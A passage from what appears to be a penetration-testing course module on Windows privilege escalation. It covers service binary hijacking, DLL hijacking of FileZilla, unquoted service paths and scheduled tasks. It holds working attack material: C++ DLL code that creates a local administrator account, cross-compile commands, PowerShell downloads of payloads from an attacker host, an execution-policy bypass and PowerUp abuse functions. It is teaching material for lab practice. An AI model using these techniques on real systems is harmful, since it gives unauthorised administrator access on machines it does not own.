Service binary 'C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql' for service mysql not
modifiable by the current user.
At C:\Users\dave\PowerUp.ps1:2178 char:13
+             throw "Service binary '$($ServiceDetails.PathName)' for s ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (Service binary ...e current user.:String) [], RuntimeException
    + FullyQualifiedErrorId : Service binary 'C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini
   mysql' for service mysql not modifiable by the current user.

Listing 54 - Error from AbuseFunction

The output states that the service binary file is not modifiable by the current user. However, we already established that we have Full Access permissions on the service binary and demonstrated that we could replace the file manually.

Reviewing the code10 of PowerUp and checking the outputs of the commands used in Get-ModifiableServiceFile, we identify that Get-ModifiablePath is used to return modifiable paths for the current user. However, for us, it provides an empty result, leading to the above error.

Let's examine this behavior in order to understand why AbuseFunction is throwing an error. First, we'll try the service binary path without any arguments for Get-ModifiablePath. Then, we'll add another argument to check if the function still provides the correct output. Finally, we'll use an argument with a path inside.

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

ModifiablePath                IdentityReference Permissions
--------------                ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users     {WriteOwner, Delete, WriteAttributes, Synchronize...}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

ModifiablePath     IdentityReference                Permissions
--------------     -----------------                -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal 

PS C:\Users\dave> $ModifiableFiles

Listing 55 - Analyzing the function ModifiablePath

Listing 55 shows that while the service binary with or without another argument works as expected, a path as an argument creates an empty result. Because the mysql service specifies the argument C:\xampp\mysql\bin\my.ini for defaults-file in the service binary path displayed in Listing 40, the AbuseFunction throws an error. In a situation like this, we should use the result of the identified vulnerable service file and do a manual exploitation as we did in this section.

Our investigation shows that we should never blindly trust or rely on the output of automated tools. However, PowerUp is a great tool to identify potential privilege escalation vectors, which can be used to automatically check if the vulnerability can be exploited. If this is not the case, we should do some manual analysis if the potential vector is not vulnerable or the AbuseFunction just cannot exploit it.

In this section, we first enumerated services and their binary permissions. After we identified that the group Users, and therefore, our user dave, has Full Access to the binary mysqld.exe, we cross-compiled a small binary creating an administrative user named dave2. After we copied it to the target system, we replaced mysqld.exe with our binary. Since we couldn't restart the service, we needed to reboot the system. After the system was rebooted, the service mysql started and dave2 was created and added to the local group Administrators.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Service Binary Hijacking - VM #1
Windows Privilege Escalation - Service Binary Hijacking - VM #2

Labs

  1. Follow the steps outlined in this section on CLIENTWK220 (VM #1) to replace the service binary of the service mysql. Enter the flag, which can be found on the desktop of user daveadmin.
  1. Connect to CLIENTWK221 (VM #2) via RDP as user milena with the password MyBirthDayIsInJuly1!. Find a service in which milena can replace the service binary. Get an interactive shell as user running the service and find the flag on the desktop.

16.2.2. DLL Hijacking

Replacing the binary of a service is a very effective way to attempt privilege escalation on Windows systems. However, because our user doesn't often have permissions to replace these binaries, we'll need to adapt with a more advanced way of abusing Windows services.

Dynamic Link Libraries (DLL)1 provide functionality to programs or the Windows operating system. DLLs contain code or resources, such as icon files, for other executable files or objects to use. These libraries provide a way for developers to use and integrate already existing functionality without reinventing the wheel. Windows uses DLLs to store functionality needed by several components. Otherwise, each component would need the functionality in their own source code resulting in a huge resource waste. On Unix systems, these files are called Shared Objects.2

There are several methods we can use to exploit how DLLs work on Windows and they can often be an effective way of elevating our privileges. One method is similar to the privilege escalation vector performed in the previous section. Instead of overwriting the binary, we merely overwrite a DLL the service binary uses. However, the service or application may not work as expected because the actual DLL functionality is missing. In most cases, this would still lead us to code execution of the DLL's code and then, for example, to the creation of a new local administrative user.

Another method is to hijack the DLL search order.3 The search order is defined by Microsoft and determines what to inspect first when searching for DLLs. By default, all current Windows versions have safe DLL search mode enabled.

This setting was implemented by Microsoft due to the high number of DLL hijacking vectors and ensures that DLLs are more difficult to hijack. The following listing shows the standard search order taken from the Microsoft Documentation:3:1

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

Listing 56 - Standard DLL search order on current Windows versions

Windows first searches the application's directory. Interestingly, the current directory is at position 5. When safe DLL search mode is disabled, the current directory is searched at position 2 after the application's directory.

A special case of this method is a missing DLL. This means the binary attempted to load a DLL that doesn't exist on the system. This often occurs with flawed installation processes or after updates. However, even with a missing DLL, the program may still work with restricted functionality.

To exploit this situation, we can try placing a malicious DLL (with the name of the missing DLL) in a path of the DLL search order so it executes when the binary is started.

Let's show how we can abuse a missing DLL in an example by connecting to CLIENTWK220 with RDP as steve and password securityIsNotAnOption++++++. We'll start PowerShell and enumerate the installed applications as we did in the previous section.

PS C:\Users\steve> Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

displayname
-----------

FileZilla 3.63.1
KeePass Password Safe 2.51.1
Microsoft Edge
Microsoft Edge Update
Microsoft Edge WebView2 Runtime

Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.28.29913
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.28.29913

Listing 57 - Displaying information about the running service FileZilla

Looking at the output from Listing 57 we see that version 3.63.1 of the FileZilla FTP Client application is present on the machine.

According to online resources this application seems to contain a DLL hijacking vulnerability4. When the application is started it will attempt to load the TextShaping.dll file from the installation directory. If we're able to place a malicious DLL here then whenever someone attempts to run the FileZilla FTP Client the DLL should be loaded with the permissions of the user.

Before moving forward with this vulnerability we need to determine if we are able to write files to the FileZilla directory.

PS C:\Users\steve> echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'

PS C:\Users\steve> type 'C:\FileZilla\FileZilla FTP Client\test.txt'
test

Listing 58 - Displaying permissions on the binary of FileZilla

Listing 58 shows that we are successfully able to create files in the directory with our current privileges.

We can use Process Monitor5 to display real-time information about any process, thread, file system, or registry related activities. Our goal is to identify all DLLs loaded by FileZilla as well as detect missing ones. Once we have a list of DLLs used by the service binary, we can check their permissions and if they can be replaced with a malicious DLL. Alternatively, if find that a DLL is missing, we could try to provide our own DLL by adhering to the DLL search order.

Unfortunately, we need administrative privileges to start Process Monitor and collect this data. However, the standard procedure in a penetration test would be to copy the service binary to a local machine. On this system, we can install the service locally and use Process Monitor with administrative privileges to list all DLL activity.

In this example, we'll simulate this step by starting Process Monitor as backupadmin. We can browse in the Windows Explorer to C:\tools\Procmon\ and double-click on Procmon64.exe. A window will appear asking us for administrative user credentials as shown in the following figure. Once we enter the password admin123admin123! for backupadmin and accept the terms, the program starts.

Figure 4: Appearing Prompt for UAC
Figure 4: Appearing Prompt for UAC

Without any filters, the information provided by Process Monitor can be quite overwhelming. Multiple new list entries are added every second. For now, we are only interested in events related to the process filezilla.exe of the target service, so we can create a filter to only include events related to it. For this, we'll click on the Filter menu > Filter... to get into the filter configuration.

The filter consists of four conditions. Our goal is that Process Monitor only shows events related to the FileZilla Process. We enter the following arguments: Process Name as Column, is as Relation, filezilla.exe as Value, and Include as Action. Once entered, we'll click on Add.

Figure 5: Add Filter for filezilla.exe
Figure 5: Add Filter for filezilla.exe

After applying the filter, we will see that all the ouput of Procmon is now limited to the filezilla.exe binary. In order to analyze the service binary, we should try clearing all the current events using the Clear button.

Figure 6: Clear the current logged events
Figure 6: Clear the current logged events

With the events cleared we will run the application as the currently logged in user (steve). Checking Process Monitor after the application has started, we notice that a large number of events appeared.

Going over the basic usage of Procmon6 we see that the operation CreateFile is responsible for not only creating files but also accessing existing files. Let's try to expand our filters and list only CreateFile operations which include the TextShaping.dll name in the Path. According to the public information on this vulnerability, this DLL is used to hijack the execution when the FileZilla FTP Client is started.

Let's update our filters and look for only CreateFile operations. Additionally we will also try to limit our search results by looking for the specificl DLL name inside the Path.

Figure 7: Add Filters looking for CreateFile operations on paths containing TextShaping.dll
Figure 7: Add Filters looking for CreateFile operations on paths containing TextShaping.dll

After applying our new filters we can see that the number of events is greately reduced. What we do notice is that the CreateFile operations related to the TextShaping.dll DLL first attempts to load the DLL from the application path C:\FileZilla\FileZilla FTP Client\ where it fails with the NAME NOT FOUND result indicating that the DLL is not present there at all. This is followed by two more CreateFile operations where the DLL is loaded from System32 which seem to succeed.

Figure 8: Resulting events after applying the filters
Figure 8: Resulting events after applying the filters

So far, we know that the application tries to locate a file called TextShaping.dll from its application directory initially, but fails to do so. To abuse this, we can attempt to write a DLL file with this name to a application directory which is first used by the DLL search order. We have already confirmed that our user has permissions to write to this directory so let's proceed with this plan.

Before we create a DLL, let's briefly review how attaching a DLL works and how it may lead us to code execution. Each DLL can have an optional entry point function named DllMain, which is executed when processes or threads attach the DLL. This function generally contains four cases named DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH. These cases handle situations when the DLL is loaded or unloaded by a process or thread. They are commonly used to perform initialization tasks for the DLL or tasks related to exiting the DLL. If a DLL doesn't have a DllMain entry point function, it only provides resources.

The following listing shows us a code example7 from Microsoft, outlining a basic DLL in C++8 containing these four cases. The DLL code contains the entry point function DllMain and the previously mentioned cases in a switch statement. Depending on the value of ul_reason_for_call one of these cases gets executed. As of now, all cases only use a break statement.

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Listing 59 - Code example of a basic DLL in C++

The provided comments from Microsoft state that DLL_PROCESS_ATTACH is used when a process is loading the DLL. Since the target binary process in our example tries to load the DLL, this is the case we need to add our code to.

Let's reuse the C code from the previous section by adding the include statement as well as the system function calls to the C++ DLL code. Additionally, we need to use an include statement for the header file windows.h, since we use Windows specific data types such as BOOL. The final code is shown in the following listing.

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Listing 60 - C++ DLL example code from Microsoft

Now, let's cross-compile the code with mingw. We use the same command as in the previous section but change the input code file, the output name, and add --shared to specify that we want to build a DLL.

kali@kali:~$ x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll

Listing 61 - Cross-Compile the C++ Code to a 64-bit DLL

Once the DLL is compiled, we can transfer it to CLIENTWK220. We can start a Python3 web server on Kali in the directory the DLL is located in and use iwr in a PowerShell window on the target machine.

As part of using iwr to download the file, we specify the FileZilla FTP Client path as the OutFile argument to ensure that the DLL is placed in the correct place.

PS C:\Users\steve> iwr -uri http://192.168.48.3/TextShaping.dll -OutFile 'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'

Listing 62 - Download compiled DLL

TextShaping.dll is now located in the C:\FileZilla\FileZilla FTP Client\ directory, which is the first path in the DLL search order. In order for the DLL hijacking to trigger the FileZilla FTP Client needs to be started, however, it is important to keep in mind that the privileges the DLL will run with depend on the privileges used to start the application. If we were to start the FTP client as the user steve then we would not have the required privileges to add a new user to the system and place them in the Administrators group.

With this in mind, we don't have to start the application on our own. We have the option of waiting for someone with higher privileges to run the application and trigger the loading of our malicious DLL.

PS C:\Users\steve> net user

User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
dave3                    daveadmin                DefaultAccount
Guest                    offsec                   steve
WDAGUtilityAccount
The command completed successfully.

PS C:\Users\steve> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave3
daveadmin
offsec
The command completed successfully.

Listing 63 - Confirming that the dave3 was created as local administrator

After a few minutes, we can see that the output from Listing 63 shows that dave3 was created and added to the local Administrators group, meaning that someone with higher privileges launched the application. Excellent!

Let's briefly summarize what we did in this section. Through the information obtained from The Exploit Database and Process Monitor, we identified that the FileZilla FTP Client is loading the TextShaping.dll DLL from the application installation path. Because we could write to this directory, which is also the first directory of the DLL search order specified by Microsoft, our malicious DLL was loaded and executed once the service was restarted.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - DLL Hijacking - VM #1

Labs

  1. Follow the steps from this section on CLIENTWK220 (VM #1) to identify the missing DLL, cross-compile your own DLL, and place it in a directory that it gets executed when the service FileZilla FTP Client is started. After placing the malicious DLL wait several minutes for a high privileged user to start the application, obtain code execution, an interactive shell, or access to the GUI and enter the flag, which can be found on the desktop of daveadmin.

16.2.3. Unquoted Service Paths

Another interesting attack vector that can lead to privilege escalation on Windows operating systems revolves around unquoted service paths.1 We can use this attack when we have Write permissions to a service's main directory or subdirectories but cannot replace files within them.

As we learned in the previous sections, each Windows service maps to an executable file that will be run when the service is started. If the path of this file contains one or more spaces and is not enclosed within quotes, it may be turned into an opportunity for a privilege escalation attack.

When a service is started and a process is created, the Windows CreateProcess2 function is used. Reviewing the first parameter of the function, lpApplicationName is used to specify the name and optionally the path to the executable file. If the provided string contains spaces and is not enclosed within quotation marks, it can be interpreted in various ways because it is unclear to the function where the file name ends and the arguments begin. To determine this, the function starts interpreting the path from left to right until a space is reached. For every space in the file path, the function uses the preceding part as file name by adding .exe and the rest as arguments.

Let's show this in an example with the unquoted service binary path C:\Program Files\My Program\My Service\service.exe. When Windows starts the service, it will use the following order to try to start the executable file due to the spaces in the path.

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

Listing 64 - Example of how Windows will try to locate the correct path of an unquoted service

Listing 64 shows the order Windows tries to interpret the service binary path to locate the executable file.

In order to exploit this and subvert the original unquoted service call, we must create a malicious executable, place it in a directory that corresponds to one of the interpreted paths, and match its name to the interpreted filename. Then, once the service is started, our file gets executed with the same privileges that the service starts with. Often, this happens to be the LocalSystem account, which results in a successful privilege escalation attack.

In the context of the example, we could name our executable Program.exe and place it in C:\, My.exe and place it in C:\Program Files\, or My.exe and place it in C:\Program Files\My Program\. However, the first two options would require some unlikely permissions since standard users don't have the permissions to write to these directories by default. The third option is more likely as it is the software's main directory. If an administrative user or developer set the permissions for this directory too open, we can place our malicious binary there.

Now that we have a basic understanding of this vulnerability, let's use it in an example. We connect to CLIENTWK220 as steve (password securityIsNotAnOption++++++) with RDP. We open PowerShell and enumerate running and stopped services.

PS C:\Users\steve> Get-CimInstance -ClassName win32_service | Select Name,State,PathName 

Name                      State   PathName
----                      -----   --------
...
GammaService                             Stopped C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
...

Listing 65 - List of services with binary path

Listing 65 shows a stopped service named GammaService. The unquoted service binary path contains multiple spaces and is therefore potentially vulnerable to this attack vector.

A more effective way to identify spaces in the paths and missing quotes is using the WMI command-line (WMIC)3 utility. We can enter service to obtain service information and the verb get with name and pathname as arguments to retrieve only these specific property values. We'll pipe the output of this command to findstr with /i for case-insensitive searching and /v to only print lines that don't match. As the argument for this command, we'll enter "C:\Windows\" to show only services with a binary path outside of the Windows directory. We'll pipe the output of this command to another findstr command, which uses """ as argument to print only matches without quotes.

Let's enter this command in cmd.exe instead of PowerShell to avoid escaping issues for the quote in the second findstr command.4 Alternatively, we could use Select-String5 in PowerShell.

C:\Users\steve> wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """
Name                                       PathName                                                                     
...                                                                                                         
GammaService                               C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

Listing 66 - List of services with spaces and missing quotes in the binary path

The output of this command only lists services that are potentially vulnerable to our attack vector, such as GammaService.

Before we go on, let's check if we can start and stop the identified service as steve with Start-Service and Stop-Service.

PS C:\Users\steve> Start-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...

PS C:\Users\steve> Stop-Service GammaService

Listing 67 - Using Start-Service and Stop-Service to check if user steve has permissions to start and stop GammaService

The output from Listing 67 indicates that steve has permissions to start and stop GammaService.

Since we can restart the service ourselves, we don't need to issue a reboot to restart the service. Next, let's list the paths Windows uses to attempt locating the executable file of the service.

C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

Listing 68 - How Windows tries to locate the correct path of the unquoted service GammaService

Let's check our access rights in these paths with icacls. We'll begin with the first two paths from Listing 68.

PS C:\Users\steve> icacls "C:\"
C:\ BUILTIN\Administrators:(OI)(CI)(F)
    NT AUTHORITY\SYSTEM:(OI)(CI)(F)
    BUILTIN\Users:(OI)(CI)(RX)
    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
    NT AUTHORITY\Authenticated Users:(AD)
    Mandatory Label\High Mandatory Level:(OI)(NP)(IO)(NW)
    
Successfully processed 1 files; Failed processing 0 files
    
PS C:\Users\steve>icacls "C:\Program Files"
C:\Program Files NT SERVICE\TrustedInstaller:(F)
                 NT SERVICE\TrustedInstaller:(CI)(IO)(F)
                 NT AUTHORITY\SYSTEM:(M)
                 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                 BUILTIN\Administrators:(M)
                 BUILTIN\Administrators:(OI)(CI)(IO)(F)
                 BUILTIN\Users:(RX)
                 BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
                 CREATOR OWNER:(OI)(CI)(IO)(F)
...

Successfully processed 1 files; Failed processing 0 files

Listing 69 - Reviewing permissions on the paths C:\ and C:\Program Files\

As expected, our user steve, as a member of BUILTIN\Users and NT AUTHORITY\AUTHENTICATED Users, has no Write permissions in either of these paths. Now, let's check the path of the third option. We can skip the fourth path since it represents the service binary itself.

PS C:\Users\steve> icacls "C:\Program Files\Enterprise Apps"
C:\Program Files\Enterprise Apps NT SERVICE\TrustedInstaller:(CI)(F)
                                 NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                                 BUILTIN\Administrators:(OI)(CI)(F)
                                 BUILTIN\Users:(OI)(CI)(RX,W)
                                 CREATOR OWNER:(OI)(CI)(IO)(F)
                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(RX)
                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files

Listing 70 - Reviewing permissions on the Enterprise Apps directory

Listing 70 shows that BUILTIN\Users has Write (w) permissions on the path C:\Program Files\Enterprise Apps. Our goal is now to place a malicious file named Current.exe in C:\Program Files\Enterprise Apps\.

We can reuse the adduser.exe binary by compiling the C code from the section "Service Binary Hijacking". On Kali, we start a Python3 web server in the directory of the executable file in order to serve it.

Once the web server is running, we can download adduser.exe on the target machine as steve. To save the file with the correct name for our privilege escalation attack, we enter Current.exe as argument for -Outfile. After the file is downloaded, we copy it to C:\Program Files\Enterprise Apps\.

PS C:\Users\steve> iwr -uri http://192.168.48.3/adduser.exe -Outfile Current.exe

PS C:\Users\steve> copy .\Current.exe 'C:\Program Files\Enterprise Apps\Current.exe'

Listing 71 - Download adduser.exe, save it as Current.exe, and copy it to Enterprise Apps directory

Now, everything is ready for us to start the service, which should execute Current.exe instead of the original service binary GammaServ.exe. For this, we use Start-Service with GammaService as argument. We can use net user to check if dave2 was created and net localgroup administrators to confirm that dave2 was added to the local Administrators group.

PS C:\Users\steve> Start-Service GammaService
Start-Service : Service 'GammaService (GammaService)' cannot be started due to the following error: Cannot start
service GammaService on computer '.'.
At line:1 char:1
+ Start-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Start-Service],
   ServiceCommandException
    + FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.StartServiceCommand
    
PS C:\Users\steve> net user

Administrator            BackupAdmin              dave
dave2                    daveadmin                DefaultAccount
Guest                    offsec                   steve
WDAGUtilityAccount
The command completed successfully.

PS C:\Users\steve> net localgroup administrators
...
Members

-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave2
daveadmin
offsec
The command completed successfully.

Listing 72 - Start service GammaService and confirm that dave2 was created as member of local Administrators group

Listing 72 shows that the Start-Service command displayed an error that Windows cannot start the service. The error stems from the fact that our cross-compiled C code does not accept the parameters that are a leftover of the original service binary path. However, Current.exe was still executed and dave2 was created as a member of the local Administrators group. Great!

To restore the functionality of the original service, we have to stop the service and delete our binary Current.exe. After the executable file is removed, Windows will use the service binary GammaServ.exe again once the service is started.

Before we conclude this section, let's check if PowerUp identifies this vulnerability. For this, we download PowerUp with iwr and import it into a PowerShell session as we did previously. Then we set the ExecutionPolicy to Bypass and use Get-UnquotedService.

PS C:\Users\steve> iwr http://192.168.48.3/PowerUp.ps1 -Outfile PowerUp.ps1

PS C:\Users\steve> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\steve> . .\PowerUp.ps1

PS C:\Users\steve> Get-UnquotedService

ServiceName    : GammaService
Path           : C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
                 Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'GammaService' -Path <HijackPath>
CanRestart     : True
Name           : GammaService

ServiceName    : GammaService
Path           : C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users;
                 Permissions=System.Object[]}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'GammaService' -Path <HijackPath>
CanRestart     : True
Name           : GammaService
...

Listing 73 - Using Get-UnquotedService to list potential vulnerable services

Listing 73 shows that the GammaService was identified as vulnerable. Let's use the AbuseFunction and restart the service to attempt to elevate our privileges. For -Path, we enter the same path for Current.exe as we did in Listing 71. As stated before, the default behavior is to create a new local user called john with the password Password123!. Additionally, the user is added to the local Administrators group.

PS C:\Users\steve> Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"

ServiceName  Path                                         Command
-----------  ----                                         -------
GammaService C:\Program Files\Enterprise Apps\Current.exe net user john Password123! /add && timeout /t 5 && net loc...

PS C:\Users\steve> Restart-Service GammaService
WARNING: Waiting for service 'GammaService (GammaService)' to start...
Restart-Service : Failed to start service 'GammaService (GammaService)'.
At line:1 char:1
+ Restart-Service GammaService
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceController) [Restart-Service]
   , ServiceCommandException
    + FullyQualifiedErrorId : StartServiceFailed,Microsoft.PowerShell.Commands.RestartServiceCommand

PS C:\Users\steve> net user

User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
dave2                    daveadmin                DefaultAccount
Guest                    john            offsec
steve                    WDAGUtilityAccount

The command completed successfully.

PS C:\Users\steve> net localgroup administrators
...
john
...

Listing 74 - Using the AbuseFunction to exploit the unquoted service path of GammaService

The output of the commands in Listing 74 shows that by using the AbuseFunction, Write-ServiceBinary, the user john was created as a local administrator. Very nice!

In this section, we covered yet another privilege escalation vector related to Windows services. We learned how to identify services missing quotes and containing spaces in the service binary path. Furthermore, we learned how Windows tries to determine the correct executable file path in this situation. By finding a writable directory suitable for this vulnerability, we could place a malicious executable file in the path, which is executed by starting the service. Finally, we automated the exploitation of this vector by using PowerUp's Get-UnquotedService and Write-ServiceBinary functions.

Although this vulnerability requires a specific combination of requirements, it is easily exploitable and a privilege escalation attack vector worth considering.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Unquoted Service Paths - VM #1
Windows Privilege Escalation - Unquoted Service Paths - VM #2

Labs

  1. Follow the steps from this section on CLIENTWK220 (VM #1) to exploit the unquoted service path of GammaService. Obtain code execution, an interactive shell, or access to the GUI as an administrative user and find the flag on the desktop of daveadmin.
  1. Connect to CLIENTWK221 (VM #2) via RDP as user damian with the password ICannotThinkOfAPassword1!. Enumerate the services and find an unquoted service binary path containing spaces. Exploit it with methods from this section and obtain an interactive shell as the user running the service. Find the flag on the desktop.

16.3. Abusing Other Windows Components

This Learning Unit covers the following Learning Objectives:

  • Leverage Scheduled Tasks to elevate our privileges
  • Understand the different types of exploits leading to privilege escalation
  • Abuse privileges to execute code as privileged user accounts

In the previous Learning Unit, we used privilege escalation vectors related to Windows services. This is not the only Windows component we can abuse to elevate our privileges. In this Learning Unit, we'll explore Scheduled Tasks and exploits targeting Windows itself to perform privilege escalation attacks.

16.3.1. Scheduled Tasks

Windows uses the Task Scheduler to execute various automated tasks, such as clean-up activities or update management. On Windows, they are called Scheduled Tasks, or Tasks, and are defined with one or more triggers. A trigger is used as a condition, causing one or more actions to be executed when met. For example, a trigger can be set to a specific time and date, at startup, at log on, or on a Windows event. An action specifies which program or script to execute. There are various other possible configurations for a task, categorized in the Conditions, Settings, and General menu tabs of a task's property.

For us, three pieces of information are vital to obtain from a scheduled task to identify possible privilege escalation vectors:

  • As which user account (principal) does this task get executed?
  • What triggers are specified for the task?
  • What actions are executed when one or more of these triggers are met?

The first question helps us understand if abusing the task will eventually lead to privilege escalation. If the task is executed in the context of our current user, it won't lead us to elevated privileges. However, if the task runs as NT AUTHORITY\SYSTEM or as an administrative user, then a successful attack could lead us to privilege escalation.

The second question is important because if the trigger condition was met in the past, the task will not run again in the future and therefore, is not a viable target for us. Additionally, if we are in a week-long penetration test, but the task runs after this time, we should search for another privilege escalation vector. However, we would mention this finding in a penetration testing report for a client.

While the first two questions help us understand if this task is even an option for a privilege escalation attack, the answer to the third question determines how we can perform the potential privilege escalation. In the majority of cases, we can leverage familiar tactics such as replacing the binary or placing a missing DLL as we did with services in a previous Learning Unit. While we don't have a service binary with scheduled tasks, we have programs and scripts specified by actions.

Let's walk through an example in which we attempt to elevate our privileges by replacing a binary specified in an action. For this, we'll connect once again as steve (password securityIsNotAnOption++++++) to CLIENTWK220 with RDP and start a PowerShell window.

We can view scheduled tasks on Windows with the Get-ScheduledTask1 Cmdlet or the command schtasks /query.2 We'll use the latter for this example to review all scheduled tasks on CLIENTWK220. We enter /fo with LIST as argument to specify the output format as list. Additionally, we add /v to display all properties of a task.

Once the command is executed, we get a huge amount of output with information about all scheduled tasks on the system. We should seek interesting information in the Author, TaskName, Task To Run, Run As User, and Next Run Time fields. In our case, "interesting" means that the information partially or completely answers one of the three questions above.

PS C:\Users\steve> schtasks /query /fo LIST /v
...
Folder: \Microsoft
HostName:                             CLIENTWK220
TaskName:                             \Microsoft\CacheCleanup
Next Run Time:                        7/11/2022 2:47:21 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        7/11/2022 2:46:22 AM
Last Result:                          0
Author:                               CLIENTWK220\daveadmin
Task To Run:                          C:\Users\steve\Pictures\BackendCacheCleanup.exe
Start In:                             C:\Users\steve\Pictures
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode
Run As User:                          daveadmin
Delete Task If Not Rescheduled:       Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        One Time Only, Minute
Start Time:                           7:37:21 AM
Start Date:                           7/4/2022
...

Listing 75 - Display a list of all scheduled tasks on CLIENTWK220

Listing 75 shows information about a task named \Microsoft\CacheCleanup. Interestingly, the task was created by daveadmin and the specified action is to execute BackendCacheCleanup.exe in the Pictures home directory of steve. In addition, the times from Last Run Time and Next Run Time indicate that the task is executed every minute. The task runs as user daveadmin.

Since the executable file BackendCacheCleanup.exe is located in a subdirectory of the home directory of steve, we should have extensive permissions on it. Let's check our permissions on this file with icacls.

PS C:\Users\steve> icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
C:\Users\steve\Pictures\BackendCacheCleanup.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                BUILTIN\Administrators:(I)(F)
                                                CLIENTWK220\steve:(I)(F)
